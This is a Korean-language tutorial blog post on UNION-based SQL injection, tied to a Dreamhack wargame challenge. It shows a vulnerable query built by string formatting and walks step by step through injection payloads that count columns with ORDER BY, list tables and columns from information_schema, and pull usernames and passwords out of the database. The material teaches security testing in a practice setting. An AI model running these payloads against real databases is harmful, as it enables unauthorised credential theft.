
안녕하십니까 코딩 파인애플입니다
이번 시간에는 UNION_BASED SQL INJECTION에 관해 알아보겠습니다.
UNION SQL INJECTION 공격은 SQL 문법에 존재하는 UNION 구문을 이용해 쿼리를 임의로 삽입하여 악의적인 SQL 구문을 실행시키는 공격입니다.
UNION 구문은 두 개 이상의 쿼리문을 결합하는 데 사용됩니다
마치 1+1이 11인 해병-수학처럼 말입니다.
SELECT 컬럼 FROM 테이블 WHERE 조건 + UNION + SELECT 컬럼 FROM 테이블;
위와 같이 두 쿼리문을 UNION을 통해 하나의 쿼리문으로 결합했습니다
이제 이 UNION을 통해서 인젝션 공격이 가능합니다
query = f"SELECT name, description FROM products WHERE name LIKE '%{user_input}%'"
에 'user_input' 부분을 간단히
x' UNION SELECT username, password FROM users --
문을 통해 유저의 이름과 패스워드를 탈취할 수 있습니다

실제 동작하는 SQL문을 다음과 같습니다
SELECT name, description
FROM products
WHERE name LIKE '%"x' UNION SELECT username, password FROM users --"%'
--참고로 LIKE '%x'은 아무 값이나 넣어도 되는 와일드 카드입니다
추가로 유의할 점은 UNION 인젝션에서 앞의 컬럼과 뒤의 컬럼의 수가 똑같아야 됩니다
방금 위 쿼리문에서 SELECT 와 FROM 사이에 오는 값들을 '컬럼'이라고 부르는데 이 컬럼의 수가 UNION과 결합할 쿼리문의 컬럼 수와 일치해야 합니다.
??? : 않이 ;; 저희가 개발자도 아니고 컬럼 수를 어케 앎???
"알아."
ORDER BY는 특정 컬럼을 기준으로 정렬하는 문법입니다.
만약 ORDER BY 3이라고 하면 "3번째 컬럼을 기준으로 정렬해줘"라는 뜻이죠
따라서 컬럼 개수를 넘어가면 에러가 납니다
-- 예시
' ORDER BY 1 -- 정상 작동 (컬럼이 최소 1개)
' ORDER BY 2 -- 정상 작동 (컬럼이 2개)
' ORDER BY 3 -- 에러 (컬럼은 따라서 총 2개)
따라서 저희는 컬럼의 수를 알아냈음으로 SELECT절에 대충 컬럼을 때우기 위해서 NULL이나 아무 숫자 (1,2,3...) 를 쓰면 됩니다
SELECT NULL, password FROM Tables_name...
??? : 그러면 테이블 이름같은 건 어케 앎?
MySQL, MariaDB, PostgreSQL, MS-SQL 등 대부분의 대형 데이터베이스 information_schema라는 가상 데이터베이스를 함께 만듭니다
주로 사용자가 저장된 데이터 뿐만이 아닌 스키마나 테이블에 관련한 모든 정보가 기록되어 있습니다
' UNION SELECT null, "table_name" FROM "information_schema.tables" --
에서 결과는 테이블 이름들이 나오게 됩니다
뭐... 수상한 테이블 이름은 furry이라 칩시다.
그 다음 컬럼을 알기 위해서 다음과 같은 쿼리를 짭니다
' UNION
SELECT null, "column_name"
FROM "information_schema.columns"
WHERE "table_name='furry'" --
결과는 여러 컬럼들이 나옵니다
id, furry_id, furry_password 등...
마지막으로 데이터를 탈취해봅시다
' UNION
SELECT furry_id, furry_password
FROM furry --
이제 데이터를 탈취하게 됩니다
요약하자면
(tables_name, information_schema.tables)
↓
(column_name, information_schema.columns, table_name="")
↓
(SELECT Columns FROM Table --)
한번 배웠던 내용을 실습해봅시다
https://dreamhack.io/wargame/challenges/984
풀이 : https://velog.io/@coding_pineapple/DreamHack-baby-union-%ED%92%80%EC%9D%B4
이상으로 글을 마치겠습니다 감사합니다
